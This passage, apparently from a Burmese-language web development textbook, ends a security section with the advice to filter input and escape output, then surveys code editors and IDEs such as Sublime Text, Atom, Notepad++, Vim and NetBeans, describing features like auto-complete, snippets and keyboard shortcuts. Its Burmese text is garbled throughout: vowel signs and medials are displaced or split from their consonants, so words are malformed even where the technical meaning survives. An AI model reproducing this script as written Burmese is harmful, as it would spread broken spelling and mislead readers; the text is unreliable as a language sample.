ပပဿနာများ  ပဖေစ်ပါတယ်။  အိပခခအံကြျဆံုးလုံပခုံိရေးအသအိိနနဲ့  "Input  အားလုံးကုိြ  Filter  လုပပ်ါ၊  Output
အားလုံးကုိြ  Escape  လပုပ်ါ"  လို့  မတှသ်ားထားနိုငပ်ါတယ်။ တနညး်အားပဖေင့်  User  Data  ိတကုိွြ ဘယ်ိတာမ့မှ
စစ်ိဆးပဲ လက်ြမခမံဖိေို့နဲ၊့ ထပမ်မံစစ်ိဆးပဲ ိဖောပ်ပိပးလိုက်ြပခငး်တို့ မပပုလပုဖ်ေိုပ့ပဲဖေစ်ပါတယ်။ လံုပခုံိရေးပပဿနာိတွ
ကြိတာ့ ဒလီိုပဲ ဟိုနားနညး်နညး် လို၊ ဒနီားနညး်နညး်ဟာ ပဖေစ်ိနတက်ြလို့ ၁၀၀% လံုပခုံိနဖေို့ဆုိတာ ိတာ်ိ တာခ်က်ြ
ပါတယ်။ ဒအီကြားထဲ လံုပခုံိရေးတိုက်ြရုိက်ြ အားနညး်တာမဟတုပ်ဲ App ကုိြ စီမံိ နသူ Admin ရေဲ့  ချို ့ယွင်းချက်ြိအကြာင့်
Attacker  ိတကွြ  Admin  Right  ရေ  သွားပပးီိတာလ့ညး်  ပပဿနာရောှနိုငပ်ါိသးတယ်။  ဘက်ြစံုိထာင့်စိိအာင်
ကကိြုးစားပပးီ အတက်ြနိုငဆံု်း လံုပခုံိနိအာင်ိ ဆာင ်ရေက်ွြထားအကြရေမာှပပဲဖေစ်ပါတယ်။
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အခနး် (၁၆) Tools and Utilities
Code Editor, IDE နှင့် မှတ်သားဖွေယ် Tool များ

နညး်ပညာိတအွိအကြာငး်ိဖောပ်ပခဲ့တာ ိရေှ့  (၁၉) ခနး်မာှ စံုသိလာက်ြရေှိသွားပါပပ။ီ ဒအီခနး်မာှိတာ့ Web App များ
ိရေးသား တည်ိ ဆာက်ြရောမာှ အသံုးပပုတဲ့ Code Editor များနဲ့ DevTool များအိအကြာငး်ကုိြ ိဖောပ်ပိပးသွားပါမယ်။
ကြျွန်ိ တာတ်ိုိ့ လလ့ာခဲ့တဲ့ HTML, CSS, JavaScript, jQuery, PHP စတဲ့ နညး်ပညာိတအွတက်ွြ Code များိရေး
သားတဲ့အခါ မညသ်ည့်  Text Editor  နဲ့မဆုိ ိရေးသားနိုငပ်ါတယ်။ ဒါိပမယ့်  Notepad  လို  Editor  မျို းနဲ့ိ ရေးရေင်
ိတာ့ အလပုတ်ငွမ်ာှမဟတုပ်ါဘးူ။  Program ိရေးသားဖေိုအ့သံုးပပုတဲ့ Text Editor တစ်ခဟုာ ိအာက်ြပါ Feature
များ ပါဝင ်သင့်ပါတယ်။

16.1 - Syntax Highlight
Text Editor  ကြ အနညး်ဆံုး  Syntax Highlight  လပု်ိ ဆာငခ်ျက်ြိတာ့ လပု်ိ ပးနိုငရ်ေပါမယ်။  HTML Element
ိတ ွ Attribute  ိတနွဲ့  Content  ိတကုိွြ  ကဲွြပပားိအာင်ိ ဖောပ်ပိပးနိုငရ်ေပါမယ်။  JavaScript  နဲ့  PHP  တို့အတက်ွြ
Keyword ိတ၊ွ Operator ိတ၊ွ Variable ိတနွဲ့  String ိတကုိွြ ကဲွြပပားိအာင် ိဖောပ်ပိပးနိုငရ်ေပါမယ။် ဒီိ တာမ့ှ
ိရေးထားတဲ့  Code  ကုိြအကြည့်လိုက်ြယံုနဲ့  လွဲိ နတာ မာှးိနတာရေှိရေင်  အလယ်ွတစ်ကူြပမငသ်ာမာှပဖေစ်ပါတယ။်  Syntax
Highlight လုပ် ိဆာငခ်ျက်ြမရေတဲ့ Text Editor နဲ့ိ ရေးထားပပးီ အမာှးတစ်စံုတစ်ရောရေှိလာတဲ့အခါ ိခါငး်ကုိြက်ြိအာင်
ရောှမ ှစာလုံးအကြျ အိပါက်ြ အမာှးိတကုိွြ ိတွ့ရေမာှပါ။ 

ပုံ (၁၆-ကြ) Sublime Text 3
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16.2 - Auto Complete
Code  ိတွိ ရေးတဲ့အခါ  ခဏခဏိရေးရေတဲ့  စာလုံးိတကုိွြ  အပမတဲမး်အစအဆံုး  ပပနပ်ပနရုိ်က်ြိနရေရေင်  အလပုမ်တငွပ်ါ
ဘးူ။  Auto Complete  စနစ်ိတကွြ Word Completion  လ့ုိိခါ်တဲ့ လပု်ိ ဆာငခ်ျက်ြကုိြလပု်ိ ပးနိုငပ်ါတယ်။ တစ်
ကကိြမရ်ိုက်ြဖေးူတဲ့ စာလုံးကုိြ မတှထ်ားပပးီ ိနာက်ြတစ်ကကိြမအ်ဲ့ဒစီာလုံးကြို ပပနရိ်က်ုြဖေို့စလိုက်ြတဲ့အခါ၊ အကုြနပ်ပနရုိ်က်ြဖေို့မလို
ပဲ အလိုအိလျှာက်ြ ပဖေည့်စွက်ြိပးနိုင် တဲ့စနစ်မျို းပဖေစ်ပါတယ်။  Variable ိတ ွFunction Name ိတကုိွြ၊ တစ်ကကိြမ်
ိအကြပငာ  သတမ်တှထ်ားလိုက်ြယံုနဲ့  ပပနလ်ညအ်သံုးပပုတဲ့အခါ  အစအဆုံးပပနရိ်က်ုြိနဖေို့  မလိို တာလ့ို့  စာလုံးိပါင်း
ိအကြာင့်ပဖေစ်တဲ့ အမာှးိတလွညး် သက်ြသာသွားိစမာှပဖေစ်ပါတယ်။

ပုံ (၁၆-ခ) PHP Function Auto-Complete in Sublime Text 3

Auto Complete ိတကွြ Word Complete အပပင် Function Completion ကုိြပါလပု်ိ ပးနိုငပ်ါတယ်။ ပုံ (၁၆-ခ)
ကုိြ  အကြည့်ပါ။  is_  လုိက်ြရုိက်ြလိုက်ြတာနဲ့  PHP  မာှရေှိိ နတဲ့  is_  နဲ့စတဲ့  Function  စာရေငး်ကိြလုာပပိနလို့  အသင့်
ိရေးွချယ်  လုိက်ြယံုပဲ  ပဖေစ်ပါတယ်။  ဒစီနစ်ိတကွြ  Smart  လညး်ပဖေစ်အကြပါတယ်။  ကြျွန်ိ တာတ်ို့  ခဏခဏသံုးတဲ့
Function  ိတကုိွြမတှ်  ထားပပးီ  အအကံြပပုတဲ့အခါ  အသံုးများခဲ့တဲ့  Function  ိတကုိွြ  ဦးစားိပးအအကံြပပုိပးနိုငလ်ို့
အိတာ်ိ လး အိထာက်ြအကူြပဖေစ် ိစပါတယ်။

Code ိရေးသားမယ့် Text Editor ဟာ Function Complete ထလိပု်ိ ပးနိုငတ်ဲ့ Auto Complete စနစ်ိတပွါဝင်
သင့် ပါတယ်။ အနညး်ဆံုး Word Complete ိလာက်ြိတာ ့လပု်ိ ပးနိုငသ်င့်ပါတယ။်
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16.3 - Error Highlight
အသံုးပပုတဲ့  Editor  ကြ ကြျွန်ိ တာတ်ိုိ့ ရေးသားိနတဲ့  Code  အမာှးိတကုိွြိထာက်ြပပနိုငမ်ယ်ဆုိရေင်ိ တာ့  အိကြာငး်
ဆံုးပါပ။ဲ အမနှ်ိ တာ့ ဒလီပု်ိ ဆာငခ်ျက်ြမျို းကြ  IDE  ိခါ် Integrated Development Environment  များမာှသာ
ပါဝင်ိ လရ့ေှိတဲ့  လပု်ိ ဆာငခ်ျက်ြပဖေစ်ပါတယ်။  Text  Editor  ိတရွေဲ့သဘာဝကြ  Language  တစ်ခခုအုတက်ွြရေညရ်ေယ်ွ
တာမဟတုပ်ဲ  မညသ်ည့်  Language  အတက်ွြမဆုိ  ိရေးလိုရ့ေိအာင်  ရေညရ်ေယ်ွဖေနတ်းီထားအကြပါတယ်။  ဒါိအကြာင့်
Language တစ်ခနုဲ့ ိရေးထားတဲ့ Code အမာှးကုိြ နားလည်ိ ဖောပ်ပ ိပးနိုငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြမျို း တစ်ခါတညး်ပါဝင်
ိလမ့ရေှိအကြပါဘးူ။  ဒါိပမယ့်  Plugin  များ  Extension  များ  အိနနဲ့ထည့်သွငး်ပပးီ  အမာှးိထာက်ြပပိပးနိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြိတ ွပဖေည့်စွက်ြထားနိုငပ်ါတယ်။ 

ပုံ (၁၆-ဂ) JSLint in Sublime Text 3

ပုံ (၁၆-ဂ) မာှိလလ့ာအကြည့်ပါ။ Sublime Text လ့ုိိခါ်တဲ့ Text Editor မာှ JSLint ိခါ် Package တစ်ခကုိုြထည့်
သွငး်ထားတဲ့အတက်ွြ ကြျွန်ိ တာတ်ိုိ့ ရေးထားတဲ့  JavaScript အမာှးကုိြ ိထာက်ြပပိပးိနတာကုိြိတွ့ရေမာှပဖေစ်ပါတယ်။
build_task  Function  အတက်ွြ  ဝိုက်ြကွြင်းအပတိက်ြျနခ်ဲ့လို့  Highlight  လပုပ်ပိနတာပါ။  ဒအီတိုင်းဆုိရေင်
ရုတတ်ရေက်ြ သတမိမမူပိဲ ိမက့ြျနသွ်ားနိုငပ်ါတယ်။  JSLint  ကြ ိထာက်ြပပတဲ့အတက်ွြ ပမငသ်ာသွားလို့ ိစာိစာစီးစီး
ကြတညး်ကြ ကကိြုတငပ်ပငဆ်ငန်ိုငသွ်ားမာှ ပဖေစ်ပါတယ်။  Text Editor  မာှ ဒလီို  Error Highlight  လုပ်ိ ဆာငခ်ျက်ြ
များ ပဖေည့်စွက်ြထားလို့ ရေမ ှအလပုတ်ငွမ်ာှပဖေစ်ပါတယ်။
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16.4 - Navigation
ိနာက်ြထပအ်ိရေးကကီြးတဲ့လပု်ိ ဆာငခ်ျက်ြကြိတာ့ သွားချငတ်ဲ့ိ နရောကုိြ ပမနပ်မနဆ်နဆ်န် သွားိစနိုငတ်ဲ့  Navigation
လပု် ိဆာငခ်ျက်ြ ပဖေစ်ပါတယ်။ ပုံ  (၁၆-ဃ) မာှ  Sublime Text ရေဲ့  Goto Everywhere လပု်ိ ဆာငခ်ျက်ြကုိြ နမနူာ
အိနနဲ့ ိဖောပ်ပထားပါတယ်။

ပုံ (၁၆-ဃ) File Navigation in Sublime Text 3
သွားလိုတဲ့ File ရေှိရောကုိြသွားနိုငဖ်ေို့ သတမ်တှထ်ားတဲ့ Shortcut (Ctrl+P) ကုိြနှိပပ်ပီး File အမညမ်ာှ ပါတဲ့ စာလုံးတစ်
ချို ့ ရုိက်ြလိုက်ြတာနဲ့ ကုိြက်ြညတီဲ့ File စာရေငး်ကုိြ ိဖောပ်ပိပးလာမာှပဖေစ်ပါတယ်။ Fuzzy Search သံုးထားတာ ပဖေစ်လို့
File အမညအ်တိအကြျရုိက်ြိနဖေိုမ့လိုပါဘးူ။ ကုိြယ်ဖေငွ့်လိုတဲ့ File အမညမ်ာှပါတဲ့ စာလုံးတစ်ချို ့ကုိြ ရုိကြလ်ိုက်ြရေင် ရေပါ
ပပ။ီ ပုံမာှ cat လို့ရိက်ုြလိုက်ြတာနဲ့  controller နဲ့ model Folder များထကဲြ category.php ကုိြ ိရေးွချယ်ဖေငွ့်လစ်ှ နိုင်
မာှပဖေစ်သလို  view/category  Folder  ထဲကြ  File  ိတကုိွြလညး်  ဖေငွ့်နိုငမ်ာှပဖေစ်ပါတယ်။  ဒနီညး်နဲ့  Code  Base
ဘယ်ိလာက်ြကကီြးကကီြး သွားလိုတဲ့ Code File ကုိြ အပမနဆံု်းသွားိရောက်ြနိုငမ်ာှပဖေစ်ပါတယ်။ Folder ိတ ွတစ်ခခုျငး်
လိုက်ြဖေငွ့်၊ လိုက်ြရောှိနစရောမလိုိ တာပ့ါဘူး။

ပုံ (၁၆-င) Function Navigation in Sublime Text 3
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ဖေငွ့်လိုတဲ့ဖေိုငကုိ်ြချက်ြပခငး်ဖေငွ့်နိုငယံု်တငမ်ကြပါဘးူ။ သွားလိုတဲ့ Function ရေှိရောကုိြ ချက်ြပခငး်သွားနိုင်ိ စတဲ့ လပု်ိ ဆာင်
ချက်ြလညး်  Sublime Text  မာှ  ပါဝငပ်ါတယ်။  Goto  Everywhere  Box  ထဲမာှ  @ Sign  ိလးထည့်လိုက်ြပပးီ
လက်ြရေှိ Code File အတငွး်မာှ ပါဝငတ်ဲ့ Function များရေှိရောကုိြ သွားိရောက်ြနိုငမ်ာှပဖေစ်ပါတယ်။

16.5 - Code Snippets
Code  Snippets  ဆုိတာကြိတာ့  ိရေးသားရေမယ့်  Code  ိတကုိွြ  အကုြန်ိ ရေးစရောမလိုပဲ  သတမ်တှထ်ားတဲ့
အတိုိ ကြာက်ြ ိရေးသားလိုက်ြယံုနဲ့ အပပည့်စံုကုိြ အလိုအိလျှာက်ြိရေးိပးသွားတဲ့ လပု်ိ ဆာငခ်ျက်ြမျို းပဖေစ်ပါတယ။်  ပုံ
(၁၆-စ) မာှ  for  လို့ ရုိက်ြလိုက်ြတာနဲ့  Sublime Text  ကြ for Loop, foreach Loop များကုိြ အလိုအိလျှာက်ြိရေး
ိပးဖေို့  အအကံြပပု  လာပါတယ်။   for  လို့  အတိုိ ရေးပပးီ   Tab  နှိပလ်ိုက်ြရေင်  PHP for  Loop Structure  တစ်ခကုိုြ
အပပည့်အစံု ထည့်ိ ပး သွားမာှပဖေစ်ပါတယ်။  foreach  လ့ုိရုိက်ြပပီး  Tab  နှိပလ်ိုက်ြရေငလ်ညး်  foreach Loop တစ်ခကုိုြ
အပပည့်အစံုထည့် ိရေးိပးသွားမာှပဖေစ်လို့ ကြျွန်ိ တာတ်ို့ကြ တစ်လုံးချငး်လိုက်ြိရေးိနဖေို့ မလိုိ တာပ့ါဘးူ။ 

html ိလာက်ြရုိက်ြပပးီ  Tab  နှိပလ်ိုက်ြရေငလ်ညး်  HTML Structure  အပပည့်အစံု ကုိြ  Text Editor  ကြ အလို အ
ိလျှာက်ြပဖေည့်ိ ပးသွားမာှပါ။ div.header လ့ုိရုိက်ြပပီး Tab နှိပလ်ိုက်ြရေင် <div class="header"></div>
လို့ ိရေးသားထည့်သွငး် ိပးသွားမာှပဖေစ်ပါတယ်။ ဒါိအကြာင့်  Code Snippets လပု်ိ ဆာငခ်ျက်ြပါဝငမ်ယ်၊ ကြျွန်ိ တာ်
တို့ကြ လညး် ထိိရောက်ြိအာငအ်သံုးချမယ်ဆုိရေင ်အိတာ်ိ လးအလပုတ်ငွသွ်ားမာှပဖေစ်ပါတယ်။

ပုံ (၁၆-စ) Code Snippets in Sublime Text 3
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16.6 - Other Features
အခု  ိဖောပ်ပခဲ့တဲ့  လုပ်ိ ဆာငခ်ျက်ြိတ ွ အားလုံးပါဝငပ်ပးီ  လက်ြရေှိမာှ  အိတာ်ိ လး  Popular  ပဖေစ်ိနတာကြိတာ့
Sublime Text 3 နဲ့ Atom တို့ပဖေစ်ပါတယ်။ နစ်ှမျို းလုံးကြ Windows, Mac, Linux စတဲ့ OS အားလုံးမာှ အသံုးပပု
နိုငတ်ဲ့  Text Editor ိတပွဖေစ်အကြပါတယ။် Sublime Text 3 ကြ Open Source Software တစ်ခုိ တာ့ မဟတုပ်ါ
ဘးူ။ ဒါိပမယ့် လပု်ိ ဆာငခ်ျက်ြအပပည့်အစံုပါဝငတ်ဲ့  Trial Version  ကုိြ ရေက်ြအကြန့်အသတမ်ရေှိိ ပးထားလို့ မညသူ်
မဆုိ အခမဲ့အသံုးပပုခငွ့်ရေတဲ့ သိဘာပဖေစ်ပါတယ်။ Sublime Text ကုိြ sublimetext.  co  m   မာှ Download ရေယူနိုငပ်ါ
တယ်။  Atom  ကြိတာ့  Open Source  Editor  တစ်ခပုဖေစ်ပပးီ  စိတဝ်ငစ်ားဖေို့ိ ကြာငး်တာကြ၊  Editor  တစ်ခလုုံးကုိြ
JavaScript  နဲ့  ိရေးသားထားပခငး်ပဲ  ပဖေစ်ပါတယ်။  Atom  ကုိြ  atom.io မာှ  Download  ရေယူနိုငပ်ါတယ်။  Atom
ကြိတာ့ အခုိ နာက်ြပိုငး် ပိုထငရ်ောှးလာပါတယ်။ အမနှ်ိ တာ့ Atom ရေဲ့  လုပ်ိ ဆာငခ်ျက်ြိတကွြ Sublime Text ကုိြ န
မနူာယူ ဖေနတ်းီခဲ့တာ ပဖေစ်ပါတယ်။ ိပါ့ိပါ့ပါးပါး  လိုချငရ်ေင်  Sublime Text  ကုိြ  သံုးသင့်ပပးီ  လပု်ိ ဆာငခ်ျက်ြ ပိုမို
ပပညစံု်ပပးီ ပိုိ ခတမ်ှီတာကုိြ သံုးချငရ်ေင်ိ တာ ့Atom ကုိြ သံုးနိုငပ်ါတယ။်

ဒီ  Editor  ိတမွာှ  အပခားထးူပခားတဲ့လပု်ိ ဆာငခ်ျက်ြိတ ွပါဝငပ်ါိသးတယ်။ နမနူာပုိံ တကုိွြ ပပန်ိ လလ့ာအကြည့်ရေင်
ညာဘက်ြအစွနမ်ာှပါဝငတ်ဲ့ Mini-Map ကုိြိတွ့ရေနိုငပ်ါတယ်။  သိပရ်ေညှတ်ဲ့ Code File ိတမွာှ တစ်ိနရောကြိန တစ်
ိနရော ကုိြသွားဖေို ့အိထာက်ြအကြပူဖေစ်ိစပါတယ်။ Multiple-Cursor လုပ်ိ ဆာငခ်ျက်ြလညး်ပါဝငပ်ါတယ်။ ဥပမာ - 

$name = $_POST['name'];
if($name == $config['name']) { … }

နမနူာပါဝငတ်ဲ့  name ဆုိတဲ့စာလုံးိတအွစား  fname နဲ့အစားထိုးလိုတယ်ဆိုရေင် ပထမ name ကုိြ  Select  လုပပ်ပးီ
Ctrl+D နှိပသွ်ားပခင်းအားပဖေင့် အပခား name ိတကုိွြ Multi-Select လပု်ိ ပးသွားမာှပဖေစ်ပါတယ်။ လိုသလို Select
ရေရေှိပပဆုိီမှ fname လ့ုိ တစ်ကကိြမ်ရုိက်ြလိုက်ြတာနဲ့ Select လပုထ်ားတဲ့ name ိတအွားလုံး fname ပဖေစ်သွားမာှပဖေစ်လို
အိတာ်ိ လးအသုံးဝငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြပဖေစ်ပါတယ်။

အိသးအမွှားဆုိိပမယ့်  အိတာ်ိ လးအိထာက်ြအကြပူဖေစ်တဲ့  တစ်ပခားလပု်ိ ဆာငခ်ျက်ြိလးိတ ွပါဝငပ်ါိသးတယ။်
Code လုိငး်တစ်ခကုြို  Duplicate  လုပလ်ိုရေင်  Ctrl+Shift+D နှိပပ်ပးီလိုသိလာက်ြ Duplicate  လုပန်ိုငပ်ါတယ်။
လိုငး်ိတ ွအိပါ် ိအာက်ြ ိရေွှလိုရေင်   Ctrl+Alt နဲ့  Up/Down Arrow  ိတကုိွြနှိပပ်ပီးိရေွှနိုငပ်ါတယ်။  အိပါ်
ိအာက်ြ တနး်စီိရေးထားတဲ့  Code  ိတကုိွြတစ်လိုင်းထပဲဖေစ်ိစလိုရေင်  Ctrl+J  နှိပပ်ပးီ  တစ်လိုငး်တညး်ပဖေစ်ိအာင်
Join လိုက်ြနိုငပ်ါတယ်။ လက်ြရေှိ လိုငး်ကုိြ ိခတ္တ ယာယီ Comment ပတိခ်ျငတ်ယ် (သုိမ့ဟတု်) ပပနဖ်ေငွ့်ချငတ်ယ်ဆိရုေင်
Ctrl+/ နဲ့  အဖေငွ့်အပတိလ်ပုန်ိုင်  ပါတယ်။   Code  ိတဖွေျက်ြတဲ့အခါ  Character  တစ်ခပုခငး်  မဟတုပ်ဲ  Word
အလိုက်ြ  ဖေျက်ြသွားချငရ်ေင်  Ctrl+Backspace နဲ့  ဖေျက်ြနိုငပ်ါတယ်။ တစ်လိုငး်လုံးဖေျက်ြပပစ်လိုရေင်  တစ်ကူြးတစ်ကြ
Select လုပပ်ပးီဖေျက်ြိနစရောမလိုပါဘးူ။ Ctrl+Shift+K နှိပပ်ပးီဖေျက်ြနိုငပ်ါတယ်။

http://atom.io/
http://sublimetext.com/
http://sublimetext.com/
http://sublimetext.com/
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ပုံ (၁၆-ဆ) Split-Screen Editing in Sublime Text 3

ပုံ (၁၆-ဆ) မာှပပထားသလို Column ိတခွွဲပပးီ Code File သံုးိလးခကုိုြ တစ်ပပို ငတ်ညး်ိရေးသားနိုငပ်ါတယ်။ တစ်
ဘက်ြ မာှ HTML Document ကုိြဖေငွ့်ထားပပီး ိနာက်ြတစ်ဘက်ြမာှ သက်ြဆုိရော CSS ကုိြဖေငွ့်ထားနိုငတ်ဲ့အတက်ွြ File
တစ်ခနုဲ့တစ်ခု ကူြးိနရေတာနဲ့ အချနိကု်ြနစ်ရောမလိို တာပ့ါဘးူ။ အပခားအိသးအမွှားိလးိတပွဖေစ်တဲ့  Line Number
ိဖောပ်ပပုံ၊  Indent Guide  ိဖောပ်ပပုံ၊  Close Tag  ိတအွလိုအိလျှာက်ြထည့် သွငး်ိပးပုံိ တဟွာလညး် အိတာ်ိ လး
Smart ပဖေစ်ပပးီ ပပည့်စံုိကြာငး်မနွတ်ဲ့ Editor တစ်ခပုဖေစ်ပါတယ်။

လပု်ိ ဆာငခ်ျက်ြိတအွများကကီြးပါလို့  Shortcut ိတ ွမတှရ်ေခက်ြမာှကုိြ စိတပ်ဖူေိုမ့လိုပါဘးူ။ Ctrl+Shift+P တစ်ခု
ကုိြသာ မတှထ်ားပပီး နှိပလ်ိုက်ြရေငတ်ဲ့အခါိပါ်လာတဲ့ Command Platte မာှ Sublime Text ရေဲ့လပု်ိ ဆာငခ်ျက်ြိတွ
ကုိြ စုစညး်ိပးထားမာှပဖေစ်လို့ လိုချငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြကုိြ အသင့်ိ ရေးွချယ်အသံုးပပုယံုပါပ။ဲ 

ပဖေည့်စွက်ြလပု်ိ ဆာငခ်ျက်ြိတကုိွြလညး်  Package  များအိနနဲ့  ထည့်သွငး်ထားနိုင်  ပါိသးတယ်။  ဥပမာ  -  CSS3
ိရေးသားတဲ့အခါ  Vendor Prefix  ိတကုိွြ ကုိြယ်တိုငလ်ိုက်ြထည့် မိနလိုပဲ  Sublime Text  ကုိြ ထည့်ိ ပးိစလိုရေင်
Prefixr လုိ  Package  မျို း  ထည့်သွငး်ထားနိုငပ်ါတယ်။ ိရေးသားထားတဲ့  JavaScript  Code  ိတကုိွြ အလိုအ
ိလျှာက်ြ Minify လပု်ိ ပးနိုငတ်ဲ့ JSMinifier လုိ Package မျို းိတလွညး် ပဖေည့်စွက်ြ ထည့်သွငး်ထားနိုငပ်ါတယ်။

ဒါိအကြာင့်  Sublime  Text  နဲ့  Atom  တို့လို  Editor  ိတကုိွြ  ထိိရောက်ြိအာငသံု်းနိုငမ်ယ်ဆုိရေင်  ကုိြယ့်ရေဲ့ိနစ့ဉ်
Development ဟာ အများကကီြး အဆင်ိ ပပ ိချာိမွ့သွားိစမာှပဖေစ်ပါတယ။်
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16.7 - Other Text Editors
လပု်ိ ဆာငခ်ျက်ြိတ ွ  အတအိကြျမတူိ ပမယ့် သူအ့ားသာချက်ြနဲ့သရူေှိတဲ့ အပခား  Text Editor  များ လညး်ရေှိပါိသး
တယ်။  Syntax Highlight,  Auto Completion,  Navigation  နဲ့အပခား အိပခခလံပု်ိ ဆာငခ်ျက်ြ ိတ ွကြိတာ့
အတတူပူပဲဖေစ်မာှပါ။ ပဖေည့်စွက်ြလပု်ိ ဆာငခ်ျက်ြိတမွာှိတာ့ အချို ့လညး်  Sublime Text နဲ့ Atom ိလာက်ြ မပပည့်စံု
ပါဘးူ။ အချို ့လပု်ိ ဆာငခ်ျက်ြိတမွာှိတာ ့Sublime Text နဲ့ Atom ထက်ြပိုိ ကြာငး်တာိတလွညး် ရေှိနိုငပ်ါတယ်။ 

အခုိ နာက်ြပိုငး်နာမညရ်ေလာတဲ့ Code Editor တစ်ခကုြိတာ့ Bracket ပပဲဖေစ်ပါတယ။် HTML ကုိြ Edit လုပ်ိ နစဉ်
သက်ြဆိငုရ်ော CSS Code ကုိြ Inline Edit လုပန်ိုငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြမျို းနဲ့၊ ရေလဒကုိ်ြတစ်ခါတညး် ိတွ့ ပမငရ်ေနိုငတ်ဲ့
Live Preview စတဲ့ ထးူပခားတဲ့လပု်ိ ဆာငခ်ျက်ြိတပွါဝငပ်ါတယ်။ သူလညး်ပဲ Open Source Editor တစ်ခပုဖေစ်ပါ
တယ်။

Windows  အတက်ွြ အထးူထငရ်ောှးတာကြိတာ့  Notepad++ ပဖေစ်ပါတယ်။ သူလညး်ပဲ  လျှငပ်မနပ်ပးီ  Split-screen
က့ဲြသုိ့ လပု်ိ ဆာငခ်ျက်ြိတပွါဝငတ်ဲ့ Text Editor ိကြာငး်တစ်ခပုဖေစ်ပါတယ်။ Sublime Text ိလာက်ြ Feature မစံု
ိပမယ့် Code Editor တစ်ခအုိနနဲ့ လုိအပတ်ဲ့လပု်ိ ဆာငခ်ျက်ြအားလုံးပါဝငလ်ို့ အသံုးများတဲ့ Open Source Text
Editor တစ်ခပုဖေစ်ပါတယ်။

Linux အတက်ွြဆိုရေင်ိ တာ့ Gedit, Vim စတဲ့ Editor ိတရွေှိပါတယ်။ Gedit ကြ လူသံုးများတဲ့ Ubuntu Linux လို
OS  မျို းမာှ  Default  Text  Editor  အပဖေစ်  ပါဝငလ်ာမာှပဖေစ်လို့  သီးပခားထည့်သွငး်ိနဖေိုိ့ တာငမ်လိုပါဘးူ။   Vim
ကြိတာ့  အိတာ်ိ လး  Advance  ပဖေစ်တဲ့  Editor  တစ်ခပုဖေစ်ပပးီ  Windows  တို့  Mac  တို့မာှလညး်အသံုးပပုနိုငပ်ါ
တယ်။ ဒါိပမယ့် တစ်ပခား Text Editor ိတနွဲ့ အိတာ်ိ လးကဲွြပပားတဲ့အတက်ွြ အသံုးပပုတက်ြဖေို့ အချနိ်ိ ပးိလလ့ာရေ
နိုငပ်ါတယ။်  ဒါိပမယ့်  သံုးတက်ြသွားရေင်  အများကကီြး  အသံုးဝငပ်ါတယ်။  Server  အများစုမာှလညး်  အသင့်ထည့်
သွငး်ိပးထားိလရ့ေှိတဲ့ Editor ပဖေစ်လိုိ့ လလ့ာထားသင့်ပါတယ်။

• Bracket: http://brackets.io/
• Notepad++: http://www.notepad-plus-plus.org/
• Vim: http://www.vim.org

16.8 - Integrated Development Environment - IDE
Text Editor ိတထွက်ြ လပု်ိ ဆာငခ်ျက်ြပိုမိုပပည့်စံုတဲ့ IDE ိတရွေှိပါိသးတယ။် IDE ိတကွြ Text Editor ိတမွာှ
ပါဝင်  တ့ဲ  လပု်ိ ဆာငခ်ျက်ြအားလုံးအပပင၊်  Debugging,  Integrated  Web Browser,  Refactoring,  Pop-Up
Documen-tation,  Integrated  Version  History,  Database  Browser  စတဲ့  လပု်ိ ဆာငခ်ျက်ြိတ ွ ပဖေည့်စွက်ြ
ပါဝငန်ိုငပ်ါတယ်။

Debugger ိတ ွတဲွဖေက်ြပါဝငလ်ို့ ိရေးထားတဲ့ Code ကုိြ အဆင့်လိုက်ြ Trace လုိက်ြနိုငမ်ာှပဖေစ်ပါတယ်။ ရေလဒ်ိ တကုိွြ
လညး် Web Browser တစ်ခနုဲ့သီးပခားအကြည့်ိ နဖေို့မလိုပဲ လက်ြရေှိ  IDE နဲ့တွဲဖေက်ြပါဝငတ်ဲ့  Integrated Browser မာှ
အကြည့်ရှုနိငု် ပါတယ်။ ကကိြုိရေးထားတဲ့ Code Template ိတပွါဝငတ်က်ြလို့ အသင့်အသံုးပပုနိုငပ်ါတယ်။  Function
ိတကုိွြ Auto Complete ပပုလပု်ိ ပးယံုမကြ အသံုးပပုပုံ  Documentation နဲ့  Reference များပါ တဲွဖေက်ြိဖောပ်ပလို့

http://www.vim.org/
http://www.notepad-plus-plus.org/
http://brackets.io/
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အသံုးပပုပုံ ိမ့ိနမာှကုိြ ပစူရောမလိုိ တာပ့ါဘူး။  Version History  ကုိြလညး် ရေယူိပးထားနိုငလ်ို့ ပပငဆ်ငပ်ဖေည့်စွက်ြ
လိုက်ြတဲ့  Code ကုိြ မလူရေှိိ နတဲ့ Code ကြိန ကဲွြပပားပမငသ်ာ ိအာင်ိ ဖောပ်ပိပးနိုငပ်ါတယ်။ ဒါ့အပပင် FTP Server
ိတနွဲ့ချတိဆ်က်ြပပးီ ိရေးသားထားတဲ့  Project ကုိြ IDE ကြိန တစ်ခါတညး် Publish လပုန်ိုင်ိ အာင်ိ ဆာငရ်ေက်ွြိပး
တဲ့ လပု်ိ ဆာငခ်ျက်ြမျို းိတလွညး်ပါဝငတ်က်ြ ပါတယ်။ Database Server ကုိြချတိဆ်က်ြ စီမနံိုငတ်ဲ့ လပု်ိ ဆာငခ်ျက်ြ
ိတလွညး် တစ်ပါတညး်ပါဝငန်ိငုပ်ါိသးတယ်။

ပုံ (၁၆-ဇ) NetBeans IDE

IDE  ကဲွြပပားသွားတာနဲ့အမျှ အိသးစိတလ်ပု်ိ ဆာငခ်ျက်ြိတကွြိတာ့  ကဲွြပပားသွားမာှပါ။   PHP  Development
အတက်ွြ အသံုးများတဲ့ IDE စာရေငး်ကိြ ုိဖောပ်ပိပးလိုက်ြပါတယ်။

• Netbeans: http://netbeans.org/
• Eclipse PDT: http://eclipse.org/pdt/
• Aptana: http://www.aptana.org/
• Zend Studio: http://www.zend.com/en/products/studio/
• PHPStorm: http://www.jetbrains.com/phpstorm/
• PHPEdit: h  ttp://www.phpedit.com/  
• DreamWeaver: http://www.adobe.com/products/dreamweaver/

http://www.adobe.com/products/dreamweaver/
http://www.phpedit.com/
http://www.phpedit.com/
http://www.jetbrains.com/phpstorm/
http://www.zend.com/en/products/studio/
http://www.aptana.org/
http://eclipse.org/pdt/
http://netbeans.org/
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Netbeans, Eclipse နဲ့ Aptana တို့ဟာ အခမဲ့ရေနိုငတ်ဲ့ IDE ိတပွဖေစ်ပပးီ Zend Studio, PHPStorm နဲ့ PHPEdit
